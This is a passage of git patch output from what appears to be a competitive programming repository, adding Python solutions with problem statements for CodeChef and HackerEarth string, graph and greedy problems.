princess is not good at programming you need +# to help her in solving the problem. +# You are given a string of length N. You have to check among all the the substrings that whether a substring +# exist or not which is palindrome and having length greater than 1. If such a substring exists then print +# YES else print NO. +# +# Input +# The first line contains a single integer T, the number of test cases. Each test case is described by a +# single line containing a string. +# +# Output +# For each test case, output a single line containing the YES or NO. +# +# Constraints +# 1 ≤ T ≤ 10 +# 1 ≤ N ≤ 100000 +# +# Example +# Input: +# 2 +# ab +# babba +# +# Output: +# NO +# YES +# Explanation +# Example case 1.The only substring whose length is greater than 1 is ab, and its not a palindrome. +# +# Example case 2.abba is a substring of the string and its a palindrome thus YES. + +def manacher(string): + + string_with_bounds = '#'.join('^{}$'.format(string)) + length = len(string_with_bounds) + P = [0] * length + center = right = 0 + + for i in range(1, length - 1): + P[i] = (right > i) and min(right - i, P[2 * center - i]) + + # Attempt to expand palindrome centered at i + while string_with_bounds[i + 1 + P[i]] == string_with_bounds[i - 1 - P[i]]: + P[i] += 1 + + # If palindrome centered at i expand past R, + # adjust center based on expanded palindrome. + if i + P[i] > right: + center, right = i, i + P[i] + + # Find the maximum element in P and return the string + maxLen, centerIndex = max((n, i) for i, n in enumerate(P)) + return string[(centerIndex - maxLen)//2: (centerIndex + maxLen)//2] + +for _ in range(int(input())): + string = input() + result = manacher(string) + if len(result) > 1: + print('YES') + else: + print('NO') diff --git a/CompetitiveProgramming/CodeChef/P39_ALATE.py b/CompetitiveProgramming/CodeChef/P39_ALATE.py new file mode 100644 index 00000000..6d74eb62 --- /dev/null +++ b/CompetitiveProgramming/CodeChef/P39_ALATE.py @@ -0,0 +1,76 @@ +# Anmol always comes to class when the class is about to end. Frustrated by this behaviour of Anmol, his +# teacher has given him a special question as his homework. We all know that Anmol is very weak at computer +# science thus he came to you for help. Help Anmol in order to solve the problem. +# You are given an array A of length N(1 indexed). You have to process Q queries of two different types: +# 1 x — print func(x) +# 2 x y— change the value of A[x] to y. +# func(x) is defined as :: +# +# func(x) +# { +# sum = 0 ; +# for(i=x;i<=N;i+=x) +# sum = (sum + A[i]*A[i]) ; +# return sum ; +# } +# +# For each query of type 1 print the value of func(x) in a new line. +# Input +# The first line contains a single integer T, the number of test cases. +# Each test case is described as follows : +# The first line contains two numbers N and Q. +# In the next line N space separated numbers denoting the values of the array A. +# Each of the following Q lines contains a query of one of the above mentioned two types. +# Note :: Since the test files are large use scanf/printf for I/O. +# +# Output +# For each test case, For each query of type 1 print the required answer. +# +# +# Since the answer can be very large, output it modulo 1000000007 +# Constraints +# 1 ≤ T ≤ 10 +# 1 ≤ N ≤ 100000 +# 1 ≤ Q ≤ 100000 +# 1 ≤ A[i] ≤ 1e9 +# 1 ≤ x ≤ N +# 1 ≤ y ≤ 1e9 +# +# Subtasks +# +# Subtask #1 (20 points), Time limit : 1 sec +# 1 ≤ T<=10, N<=100 +# +# +# Subtask #2 (80 points), Time limit : 1 sec +# 1 ≤ T<=10, N<=100000 +# +# +# Example +# Input: +# 1 +# 5 3 +# 1 2 3 4 5 +# 1 1 +# 2 2 1 +# 1 2 +# Output: +# 55 +# 17 + +def func(x): + sum = 0 + for i in range(x, int(n) + 1, x): + sum = sum + array[i] * array[i] + return sum + +for _ in range(int(input())): + n, q = input().split() + array = [int(i) for i in input().split()] + array.insert(0, 0) + for _ in range(int(q)): + inputs = [int(i) for i in input().split()] + if len(inputs) == 2: + print(func(inputs[1])) + else: + array[inputs[1]] = inputs[2] From 71f7668e342ab385b84fb44f13570c65e0d06bfb Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Mon, 4 Sep 2017 07:14:38 +0530 Subject: [PATCH 068/101] Added HackerEarth Graph problems --- .../Graphs/Monk-At-The-Graph-Factory.py | 38 +++++++++++++++++++ .../Graphs/Monk-In-The-Real-Estate.py | 31 +++++++++++++++ 2 files changed, 69 insertions(+) create mode 100644 CompetitiveProgramming/HackerEarth/Algorithms/Graphs/Monk-At-The-Graph-Factory.py create mode 100644 CompetitiveProgramming/HackerEarth/Algorithms/Graphs/Monk-In-The-Real-Estate.py diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/Graphs/Monk-At-The-Graph-Factory.py b/CompetitiveProgramming/HackerEarth/Algorithms/Graphs/Monk-At-The-Graph-Factory.py new file mode 100644 index 00000000..ebe21671 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/Graphs/Monk-At-The-Graph-Factory.py @@ -0,0 +1,38 @@ +# Our Code Monk recently learnt about Graphs and is very excited! +# +# He went over to the Graph-making factory to watch some freshly prepared graphs. Incidentally, +# one of the workers at the factory was ill today, so Monk decided to step in and do her job. +# +# The Monk's Job is to Identify whether the incoming graph is a tree or not. He is given N, the number +# of vertices in the graph and the degree of each vertex. +# +# Find if the graph is a tree or not. +# +# Input: +# First line contains an integer N, the number of vertices. +# Second line contains N space-separated integers, the degrees of the N vertices. +# +# Output: +# Print "Yes" (without the quotes) if the graph is a tree or "No" (without the quotes) otherwise. +# +# Constraints: +# 1 ≤ N ≤ 100 +# 1 ≤ Degreei ≤ 1000 +# +# SAMPLE INPUT +# 3 +# 1 2 1 +# +# SAMPLE OUTPUT +# Yes + +n = int(input()) +degrees = [int(i) for i in input().split()] + +# Number of nodes are given thus in a tree number of edges are (n-1) and each edge has two degree +# thus in tree data structure total degree should be 2*(n-1) and this should be equal to sum of given degree + +if(2 * (n - 1) == sum(degrees)): + print('Yes') +else: + print('No') diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/Graphs/Monk-In-The-Real-Estate.py b/CompetitiveProgramming/HackerEarth/Algorithms/Graphs/Monk-In-The-Real-Estate.py new file mode 100644 index 00000000..93fb5c77 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/Graphs/Monk-In-The-Real-Estate.py @@ -0,0 +1,31 @@ +# The Monk wants to buy some cities. To buy two cities, he needs to buy the road connecting those two cities. +# Now, you are given a list of roads, bought by the Monk. You need to tell how many cities did the Monk buy. +# +# Input: +# First line contains an integer T, denoting the number of test cases. The first line of each test case +# contains an integer E, denoting the number of roads. The next E lines contain two space separated +# integers X and Y, denoting that there is an road between city X and city Y. +# +# Output: +# For each test case, you need to print the number of cities the Monk bought. +# +# Constraint: +# 1 <= T <= 100 +# 1 <= E <= 1000 +# 1 <= X, Y <= 10000 +# +# SAMPLE INPUT +# 1 +# 3 +# 1 2 +# 2 3 +# 1 3 + +for _ in range(int(input())): + roads = int(input()) + lst = set([]) + for i in range(roads): + node1,node2 = map(int,input().split()) + lst.add(node1) + lst.add(node2) + print(len(lst)) From 87d1ead523bc5ae8a794aeb1f4c749f21e8cdfb3 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Mon, 4 Sep 2017 07:14:46 +0530 Subject: [PATCH 069/101] Added HackerEarth Greedy problems --- .../Greedy/P01_BeingGreedyForWater.py | 38 +++++++++++++++++++ 1 file changed, 38 insertions(+) create mode 100644 CompetitiveProgramming/HackerEarth/Algorithms/Greedy/P01_BeingGreedyForWater.py diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/Greedy/P01_BeingGreedyForWater.py b/CompetitiveProgramming/HackerEarth/Algorithms/Greedy/P01_BeingGreedyForWater.py new file mode 100644 index 00000000..bb241585 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/Greedy/P01_BeingGreedyForWater.py @@ -0,0 +1,38 @@ +# You are given container full of water. Container can have limited amount of water. You also have +# N bottles to fill. You need to find the maximum numbers of bottles you can fill. +# +# Input: +# First line contains one integer, T, number of test cases. +# First line of each test case contains two integer, N and X, number of bottles and capacity of the container. +# Second line of each test case contains +# N space separated integers, capacities of bottles. +# +# Output: +# For each test case print the maximum number of bottles you can fill. +# +# Constraints: +# 1≤T≤100 +# 1≤N≤104 +# 1≤X≤109 +# +# SAMPLE INPUT +# 1 +# 5 10 +# 8 5 4 3 2 +# +# SAMPLE OUTPUT +# 3 + +for _ in range(int(input())): + N, capacity = map(int, input().split()) + capacities = [int(bottle) for bottle in input().split()] + capacities.sort() + check, bottles = 0, 0 + for i in range(len(capacities)): + if check > capacity: + bottles -= 1 + break + bottles += 1 + check += capacities[i] + + print(bottles) From 10a305afac66ef4b031c2191ad55e96d2744e229 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Tue, 19 Sep 2017 07:41:29 +0530 Subject: [PATCH 070/101] HackerEarth String Algorithm Problems --- .../Algorithms/String/P01_SortSubtring.py | 36 +++++++++++++ .../String/P02_PrintFirstOccurence.py | 33 ++++++++++++ .../String/P03_MonkTeachesPalindrome.py | 42 +++++++++++++++ .../Algorithms/String/P04_DNAPride.py | 52 +++++++++++++++++++ .../Algorithms/String/P05_VowelPhobia.py | 28 ++++++++++ .../Algorithms/String/P06_NobitaAndString.py | 26 ++++++++++ 6 files changed, 217 insertions(+) create mode 100644 CompetitiveProgramming/HackerEarth/Algorithms/String/P01_SortSubtring.py create mode 100644 CompetitiveProgramming/HackerEarth/Algorithms/String/P02_PrintFirstOccurence.py create mode 100644 CompetitiveProgramming/HackerEarth/Algorithms/String/P03_MonkTeachesPalindrome.py create mode 100644 CompetitiveProgramming/HackerEarth/Algorithms/String/P04_DNAPride.py create mode 100644 CompetitiveProgramming/HackerEarth/Algorithms/String/P05_VowelPhobia.py create mode 100644 CompetitiveProgramming/HackerEarth/Algorithms/String/P06_NobitaAndString.py diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/String/P01_SortSubtring.py b/CompetitiveProgramming/HackerEarth/Algorithms/String/P01_SortSubtring.py new file mode 100644 index 00000000..ce0a3d4d --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/String/P01_SortSubtring.py @@ -0,0 +1,36 @@ +# Given a string S, and two numbers N, M - arrange the characters of string in between the indexes N +# and M (both inclusive) in descending order. (Indexing starts from 0). +# +# Input Format: +# First line contains T - number of test cases. +# Next T lines contains a string(S) and two numbers(N, M) separated by spaces. +# +# Output Format: +# Print the modified string for each test case in new line. +# +# Constraints: +# +# 1≤T≤1000 +# 1≤|S|≤10000 // |S| denotes the length of string. +# 0≤N≤M<|S| +# S∈[a,z] +# +# SAMPLE INPUT +# 3 +# hlleo 1 3 +# ooneefspd 0 8 +# effort 1 4 +# +# SAMPLE OUTPUT +# hlleo +# spoonfeed +# erofft + +for i in range(int(input())): + user_input = input() + user_input = user_input.split() + to_char = int(user_input[2]) + from_char = int(user_input[1]) + string = user_input[0][from_char:to_char + 1] + replace = ''.join(sorted(string)[::-1]) + print(user_input[0][:from_char] + replace + user_input[0][to_char + 1:len(user_input[0])]) diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/String/P02_PrintFirstOccurence.py b/CompetitiveProgramming/HackerEarth/Algorithms/String/P02_PrintFirstOccurence.py new file mode 100644 index 00000000..4356f045 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/String/P02_PrintFirstOccurence.py @@ -0,0 +1,33 @@ +# Given a string containing only lower case letters ,print first occurrence of all the letters present +# in that order only. +# +# Input : +# +# Test cases, t +# string ,s +# Output : +# +# Desired Output +# +# Constraint : +# +# string length <=200 +# +# SAMPLE INPUT +# 2 +# aasdvasvavda +# sajhags +# +# SAMPLE OUTPUT +# asdv +# sajhg +# + +for _ in range(int(input())): + user_input = input() + string = [] + for i in range(len(user_input)): + if user_input[i] not in string: + string.append(user_input[i]) + + print(''.join(string)) diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/String/P03_MonkTeachesPalindrome.py b/CompetitiveProgramming/HackerEarth/Algorithms/String/P03_MonkTeachesPalindrome.py new file mode 100644 index 00000000..86990810 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/String/P03_MonkTeachesPalindrome.py @@ -0,0 +1,42 @@ +# Monk introduces the concept of palindrome saying,"A palindrome is a sequence of characters which reads the s +# ame backward or forward." +# Now, since he loves things to be binary, he asks you to find whether the given string is palindrome or not. +# If a given string is palindrome, you need to state that it is even palindrome (palindrome with even length) +# or odd palindrome (palindrome with odd length). +# +# Input: +# The first line consists of T, denoting the number of test cases. +# Next follow T lines, each line consisting of a string of lowercase English alphabets. +# +# Output: +# For each string , you need to find whether it is palindrome or not. +# If it is not a palindrome, print NO. +# If it is a palindrome, print YES followed by a space; then print EVEN it is an even palindrome +# else print ODD. +# Output for each string should be in a separate line. +# See the sample output for clarification. +# +# Constraints: +# 1≤T≤50 +# 1≤length of string≤105 +# +# SAMPLE INPUT +# 3 +# abc +# abba +# aba +# +# SAMPLE OUTPUT +# NO +# YES EVEN +# YES ODD + +for _ in range(int(input())): + user_input = input() + if user_input == user_input[::-1]: + if len(user_input) % 2 == 0: + print('YES EVEN') + else: + print('YES ODD') + else: + print('NO') diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/String/P04_DNAPride.py b/CompetitiveProgramming/HackerEarth/Algorithms/String/P04_DNAPride.py new file mode 100644 index 00000000..065749d9 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/String/P04_DNAPride.py @@ -0,0 +1,52 @@ +# Everyone is familiar with Pratik's obsession with DNA and how much he likes to find the correct pair for +# the nucleotide bases. One day Samim found him exaggerating about his knowledge of DNA bases. So Samim +# challenged Pratik about finding the correct base pair for the given DNA sequence and show the result. +# Also he secretly introduced some of RNA nucleotide bases to test Pratik. Now initially he accepted the +# challenge but soon found out about how big the sequence actually was, so he came to you ask him for your +# in finding the sequence and keep his pride about the knowledge of DNA molecules. +# +# You are given a string that contains the nucleotide bases of DNA and RNA, you are needed to find the +# correct pair for all the bases and print the corresponding sequence obtained. In case the sequence +# contains a RNA base, print "Error RNA nucleobases found!" (without quotes). +# +# INPUT FORMAT +# +# The first line of input contains T, the no of test cases. The next line of input contains N, the no of +# bases in each of the DNA sequence The line after that contains the DNA sequence. +# +# OUTPUT FORMAT +# +# For each test case output your answer on a new line. +# +# CONSTRAIN +# +# 1≤T≤10^4 +# 1≤N≤10^6 +# +# SAMPLE INPUT +# 3 +# 2 +# AG +# 4 +# ATGC +# 6 +# UGCACT +# +# SAMPLE OUTPUT +# TC +# TACG +# Error RNA nucleobases found! + +for _ in range(int(input())): + string_length = int(input()) + string = input() + check = {'A':'T', 'T':'A', 'G':'C', 'C':'G'} + result = [] + + if 'U' in string: + print('Error RNA nucleobases found!') + else: + for i in range(len(string)): + result.append(check[string[i]]) + + print(''.join(result)) diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/String/P05_VowelPhobia.py b/CompetitiveProgramming/HackerEarth/Algorithms/String/P05_VowelPhobia.py new file mode 100644 index 00000000..7434218f --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/String/P05_VowelPhobia.py @@ -0,0 +1,28 @@ +# Manish has got the task to frame a speech for his professor at the university at the Annual sports meet.But +# the problem is that the professor has speech dyslexia and he can't speak the words clearly which have vowels +# in them. So Manish has to avoid such words and has to minimise their usage in the speech letter. Your task +# is to help Manish mark the vowels in the words so that he can minimise their use. You are given a string S +# consisting of lower case letters only. You need to count the number of vowels in the string S. +# +# INPUT The first line will contain an integer T denoting the number of test cases. The following T lines +# will contain a string S in lower case letters only. +# +# OUTPUT Print the number the vowels in the string S. +# +# CONSTRAINTS 1<=T<=100 +# +# SAMPLE INPUT +# 1 +# hashes +# +# SAMPLE OUTPUT +# 2 + +for _ in range(int(input())): + string = input() + count = 0 + for i in range(len(string)): + if string[i] in ['a', 'e', 'i', 'o', 'u']: + count += 1 + + print(count) diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/String/P06_NobitaAndString.py b/CompetitiveProgramming/HackerEarth/Algorithms/String/P06_NobitaAndString.py new file mode 100644 index 00000000..e6f8a6f5 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/String/P06_NobitaAndString.py @@ -0,0 +1,26 @@ +# Doraemon gave Nobita a gadget that swaps words inside a string in the following manner : +# +# If there are W words, word 1 is swapped with word W, word 2 is swapped with word W-1 and so on. The +# problem is that Nobita himself cannot verify the answer for large strings. Help him write a program to do so. +# +# INPUT : +# the first line of the input contains the number of test cases. Each test case consists of a single line +# containing the string. +# +# OUTPUT : +# output the string with the words swapped as stated above. +# +# CONSTRAINTS : +# |string length| <= 100000 +# string contains english alphabets and spaces +# +# SAMPLE INPUT +# 1 +# hello world +# +# SAMPLE OUTPUT +# world hello + +for _ in range(int(input())): + string = input().split() + print(' '.join(string[::-1])) From 365f8d35aefcc9229853e75709c950281dd88ab2 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Thu, 21 Sep 2017 07:44:52 +0530 Subject: [PATCH 071/101] HackerEarth String Problems --- .../Algorithms/String/P07_SumitsString.py | 51 +++++++++++++++++++ .../String/P08_RemoveDupplicates.py | 43 ++++++++++++++++ .../Algorithms/String/P10_Conversion.py | 38 ++++++++++++++ 3 files changed, 132 insertions(+) create mode 100644 CompetitiveProgramming/HackerEarth/Algorithms/String/P07_SumitsString.py create mode 100644 CompetitiveProgramming/HackerEarth/Algorithms/String/P08_RemoveDupplicates.py create mode 100644 CompetitiveProgramming/HackerEarth/Algorithms/String/P10_Conversion.py diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/String/P07_SumitsString.py b/CompetitiveProgramming/HackerEarth/Algorithms/String/P07_SumitsString.py new file mode 100644 index 00000000..831d61d5 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/String/P07_SumitsString.py @@ -0,0 +1,51 @@ +# Given a string 'S' , u need to tell whether it is 'sumit's string or not'. +# +# A string is called 'Sumit's String' , if distance between adjacent character is 1. +# +# Consider that the alphabets are arranged in cyclic manner from 'a' to 'z'. distance between any character +# 'x' and 'y' will be defined as minimum number of steps it takes 'x' to reach 'y'. Here, character 'x' can +# start moving clockwise or anti-clockwise in order to reach at position where character 'y' is placed. +# +# Print 'YES' if it is Sumit's string else print 'NO', for each yest case. +# +# Input : +# +# test cases, t +# string , s +# Output: +# +# Desired O/p +# +# Constraints : +# +# string length<=250 +# string has only lower case letters +# +# SAMPLE INPUT +# 3 +# aba +# zza +# bcd +# +# SAMPLE OUTPUT +# YES +# NO +# YES + +for _ in range(int(input())): + string = input() + sumit_string = True + check = 'abcdefghijklmnopqrstuvwxyz' + for i in range(len(string) - 1): + check_first = check.find(string[i]) + 1 + check_second = check.find(string[i + 1]) + 1 + if abs(check_second - check_first) == 1 or abs(check_second - check_first) == 25: + continue + else: + sumit_string = False + break + + if sumit_string: + print('YES') + else: + print('NO') diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/String/P08_RemoveDupplicates.py b/CompetitiveProgramming/HackerEarth/Algorithms/String/P08_RemoveDupplicates.py new file mode 100644 index 00000000..65138f99 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/String/P08_RemoveDupplicates.py @@ -0,0 +1,43 @@ +# Given a string S. Your task is to remove all duplicates characters from the string S +# +# NOTE: +# 1.) Order of characters in output string should be same as given in input string. +# 2.) String S contains only lowercase characters ['a'-'z']. +# +# input: +# Input contain a single string S. +# +# Output: +# Print the string S with no any duplicate characters. +# +# Constraints: +# Test Files 1 to 5: +# 1<=|S|<=100 +# Test Files 6 to 10: +# 1<=|S|<=100000 +# +# Sample Output #1 +# hacker +# +# Sample Output #1 +# hacker +# +# Sample Input #2 +# hackerearth +# +# Sample Output #2 +# hackert +# +# Sample Input #3 +# programming +# +# Sample Output #3 +# progamin + +string = list(input()) +result = [] +for i in range(len(string)): + if string[i] not in result: + result.append(string[i]) + +print(''.join(result)) diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/String/P10_Conversion.py b/CompetitiveProgramming/HackerEarth/Algorithms/String/P10_Conversion.py new file mode 100644 index 00000000..27d85b19 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/String/P10_Conversion.py @@ -0,0 +1,38 @@ +# Given a string, convert it into its number form . +# +# A or a -> 1 +# B or b -> 2 +# C or c -> 3 +# . . . +# Z or z -> 26 +# space -> $ +# Input: +# +# test cases, t +# string , s +# Output: +# +# Desired O/p +# +# Constraints: string length <=200 +# +# SAMPLE INPUT +# 2 +# AMbuj verma +# Aaaa bBBB +# +# SAMPLE OUTPUT +# 11322110$22518131 +# 1111$2222 + +for _ in range(int(input())): + string = input() + check = 'abcdefghijklmnopqrstuvwxyz' + result = [] + for i in range(len(string)): + if string[i].lower() != ' ': + result.append(check.find(string[i].lower()) + 1) + else: + result.append('$') + + print(''.join([str(i) for i in result])) From 3436850cbac14c7da025b5955055db405255d4f6 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Thu, 21 Sep 2017 07:45:09 +0530 Subject: [PATCH 072/101] HackerEarth String Problems --- .../Algorithms/String/P11_CaesarsCipher.py | 71 ++++++++++++++++ .../Algorithms/String/P12_CompilerVersion.py | 43 ++++++++++ .../Algorithms/String/P13_NameGame.py | 85 +++++++++++++++++++ 3 files changed, 199 insertions(+) create mode 100644 CompetitiveProgramming/HackerEarth/Algorithms/String/P11_CaesarsCipher.py create mode 100644 CompetitiveProgramming/HackerEarth/Algorithms/String/P12_CompilerVersion.py create mode 100644 CompetitiveProgramming/HackerEarth/Algorithms/String/P13_NameGame.py diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/String/P11_CaesarsCipher.py b/CompetitiveProgramming/HackerEarth/Algorithms/String/P11_CaesarsCipher.py new file mode 100644 index 00000000..87eb025f --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/String/P11_CaesarsCipher.py @@ -0,0 +1,71 @@ +# Caesar's Cipher is a very famous encryption technique used in cryptography. It is a type of substitution +# cipher in which each letter in the plaintext is replaced by a letter some fixed number of positions down +# the alphabet. For example, with a shift of 3, D would be replaced by G, E would become H, X would become A +# and so on. +# +# Encryption of a letter X by a shift K can be described mathematically as +# EK(X)=(X+K) % 26. +# +# Given a plaintext and it's corresponding ciphertext, output the minimum non-negative value of shift that was +# used to encrypt the plaintext or else output −1 if it is not possible to obtain the given ciphertext from +# the given plaintext using Caesar's Cipher technique. +# +# Input: +# +# The first line of the input contains Q, denoting the number of queries. +# +# The next Q lines contain two strings S and T consisting of only upper-case letters. +# +# Output: +# +# For each test-case, output a single non-negative integer denoting the minimum value of shift that was used +# to encrypt the plaintext or else print −1 if the answer doesn't exist. +# +# Constraints: +# 1≤Q≤5 +# 1≤|S|≤10^5 +# 1≤|T|≤10^5 +# |S| = |T| +# +# SAMPLE INPUT +# 2 +# ABC +# DEF +# AAA +# PQR +# +# SAMPLE OUTPUT +# 3 +# -1 + +# My Solution +for _ in range(int(input())): + string_one = input() + string_two= input() + check_one = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + # ZYXWVUTSRQPONMLKJIHGFEDCBA + check_two = check_one[::-1] + result = [] + for i in range(len(string_one)): + if(check_one.find(string_one[i]) > check_one.find(string_two[i])): + result.append(check_two.find(string_one[i]) + check_one.find(string_two[i]) + 1) + else: + result.append(check_one.find(string_two[i]) - check_one.find(string_one[i])) + + if result.count(result[0]) == len(string_one): + print(result[0]) + else: + print(-1) + +# More Efficient Solution: +tests = int(input().strip()) +for i in range(tests): + plain = input().strip() + cipher = input().strip() + shift = (ord(cipher[0])-ord(plain[0])+26)%26 + valid = True + for j in range(len(plain)): + if (ord(cipher[j])-ord(plain[j])+26)%26 != shift: + valid = False + break + print(shift) if valid else print("-1") diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/String/P12_CompilerVersion.py b/CompetitiveProgramming/HackerEarth/Algorithms/String/P12_CompilerVersion.py new file mode 100644 index 00000000..363f4c80 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/String/P12_CompilerVersion.py @@ -0,0 +1,43 @@ +# You are converting an old code for a new version of the compiler. +# +# In the old code we have used "->" for pointers. But now we have to replace each "->" with a ".". But this +# replacement shouldn't be done inside commments. A comment is a string that starts with "//" and terminates +# at the end of the line. +# +# Input: +# +# At max. +# 2000 +# 2000 lines of code. +# +# Each line of code consists of at maximum +# 60 +# 60 characters. +# +# Output: +# +# New code with required changes. +# +# SAMPLE INPUT +# int t; //variable t +# t->a=0; //t->a does something +# return 0; +# +# SAMPLE OUTPUT +# int t; //variable t +# t.a=0; //t->a does something +# return 0; + +import sys +import re +while True: + line = sys.stdin.readline() + if len(line) >=2 : + if '//' in line: + line = re.split("//", line) + line[0] = re.sub("->", ".", line[0]) + sys.stdout.write('//'.join(line)) + else: + sys.stdout.write(re.sub("->", ".", line)) + else: + break diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/String/P13_NameGame.py b/CompetitiveProgramming/HackerEarth/Algorithms/String/P13_NameGame.py new file mode 100644 index 00000000..24f5260f --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/String/P13_NameGame.py @@ -0,0 +1,85 @@ +# John has recently learned about ASCII values. With his knowledge of ASCII values and character he has +# developed a special word and named it John's Magical word. +# +# A word which consists of alphabets whose ASCII values is a prime number is a John's Magical word. An +# alphabet is john's Magical alphabet if its ASCII value is prime. +# +# John's nature is to boast about the things he know or have learnt about. So just to defame his friends he +# gives few string to his friends and ask them to convert it to John's Magical word. None of his friends would +# like to get insulted. Help them to convert the given strings to John's Magical Word. +# +# Rules for converting: +# +# 1.Each character should be replaced by the nearest John's Magical alphabet. +# +# 2.If the character is equidistant with 2 Magical alphabets. The one with lower ASCII value will be considered as its replacement. +# +# Input format: +# +# First line of input contains an integer T number of test cases. Each test case contains an integer N (denoting the length of the string) and a string S. +# +# Output Format: +# +# For each test case, print John's Magical Word in a new line. +# +# Constraints: +# +# 1 <= T <= 100 +# +# 1 <= |S| <= 500 +# +# SAMPLE INPUT +# 1 +# 8 +# KINGKONG +# +# SAMPLE OUTPUT +# IIOGIOOG + +numl = [97, 101, 103, 107, 109, 113] +numu = [67, 71, 73, 79, 83, 89] +num = [67, 89, 97, 113] + +for _ in range(int(input())): + length = input() + string = input() + result = '' + + for char in string: + if char.islower() and char.isalpha(): + minimum = 200 + ascii_char = ord(char) + temp = 0 + + for j in numl: + if minimum > abs(ascii_char - j): + minimum = abs(ascii_char - j) + temp = j + + result = result + chr(temp) + + elif char.isupper() and char.isalpha(): + minimum = 200 + ascii_char = ord(char) + temp = 0 + + for j in numu: + if minimum > abs(ascii_char - j): + minimum = abs(ascii_char - j) + temp = j + + result = result + chr(temp) + + else: + minimum = 200 + ascii_char = ord(char) + temp = 0 + + for j in num: + if minimum > abs(ascii_char - j): + minimum = abs(ascii_char - j) + temp = j + + result = result + chr(temp) + + print(result) From a45d35941c9dfff921a4b4465a34cc75d00ef50d Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Tue, 26 Sep 2017 09:22:57 +0530 Subject: [PATCH 073/101] Codechef Medium Problem --- CompetitiveProgramming/CodeChef/P40_COINS.py | 46 ++++++++++++++++++++ 1 file changed, 46 insertions(+) create mode 100644 CompetitiveProgramming/CodeChef/P40_COINS.py diff --git a/CompetitiveProgramming/CodeChef/P40_COINS.py b/CompetitiveProgramming/CodeChef/P40_COINS.py new file mode 100644 index 00000000..567985ff --- /dev/null +++ b/CompetitiveProgramming/CodeChef/P40_COINS.py @@ -0,0 +1,46 @@ +# In Byteland they have a very strange monetary system. +# +# Each Bytelandian gold coin has an integer number written on it. A coin n can be exchanged in a bank into +# three coins: n/2, n/3 and n/4. But these numbers are all rounded down (the banks have to make a profit). +# +# You can also sell Bytelandian coins for American dollars. The exchange rate is 1:1. But you can not buy +# Bytelandian coins. +# +# You have one gold coin. What is the maximum amount of American dollars you can get for it? +# +# Input +# The input will contain several test cases (not more than 10). Each testcase is a single line with a number +# n, 0 <= n <= 1 000 000 000. It is the number written on your coin. +# +# Output +# For each test case output a single line, containing the maximum amount of American dollars you can make. +# +# Example +# Input: +# 12 +# 2 +# +# Output: +# 13 +# 2 +# You can change 12 into 6, 4 and 3, and then change these into $6+$4+$3 = $13. If you try changing the +# coin 2 into 3 smaller coins, you will get 1, 0 and 0, and later you can get no more than $1 out of them. +# It is better just to change the 2 coin directly into $2. + +import sys + +list={} +def chk(n): + if n in list.keys(): + return list[n] + if n<=2: + ans = n + else: + ans = chk(n//2) + chk(n//3) + chk(n//4) + if ans Date: Tue, 26 Sep 2017 09:23:17 +0530 Subject: [PATCH 074/101] HackerEarth String Problem --- .../P14_XennyAndPartiallySortedStrings.py | 50 +++++++++++++++++++ 1 file changed, 50 insertions(+) create mode 100644 CompetitiveProgramming/HackerEarth/Algorithms/String/P14_XennyAndPartiallySortedStrings.py diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/String/P14_XennyAndPartiallySortedStrings.py b/CompetitiveProgramming/HackerEarth/Algorithms/String/P14_XennyAndPartiallySortedStrings.py new file mode 100644 index 00000000..2621a45f --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/String/P14_XennyAndPartiallySortedStrings.py @@ -0,0 +1,50 @@ +# Xenny had a list of N strings of equal length. He wanted to sort them by the first M characters only. That +# means, while sorting the list of strings, he only wanted to consider the first M characters of each string. +# Help Xenny to find out the Kth string in the list after he sorts them. +# +# Note: Xenny wanted to perform stable sorting. +# Stable sorting algorithms maintain the relative order of records with equal keys (i.e. values). That is, a +# sorting algorithm is stable if whenever there are two records R and S with the same key and with R +# appearing before S in the original list, R will appear before S in the sorted list. +# +# Input +# +# First line contains a single integer - T, which represents the number of testcases. +# T testcases follow. +# Each testcase is of the following format: +# First line contains 3 space-separated integers - N, K and M. +# N is the total number of strings Xenny has. +# K is the index of the string in the list after sorting, which Xenny has to find. +# M is the number of characters based on which sorting will be done by Xenny. +# Then next N lines contain N strings ( each line will contain one string ) . +# +# Output +# +# For each testcase, print the Kth string in the sorted list in a new line. +# +# Constraints +# +# 1 ≤ T ≤ 50 +# 1 ≤ N ≤ 103 +# 1 ≤ Max Length of each String ≤ 103 +# 1 ≤ M ≤ Max Length +# M ≤ Max Length of 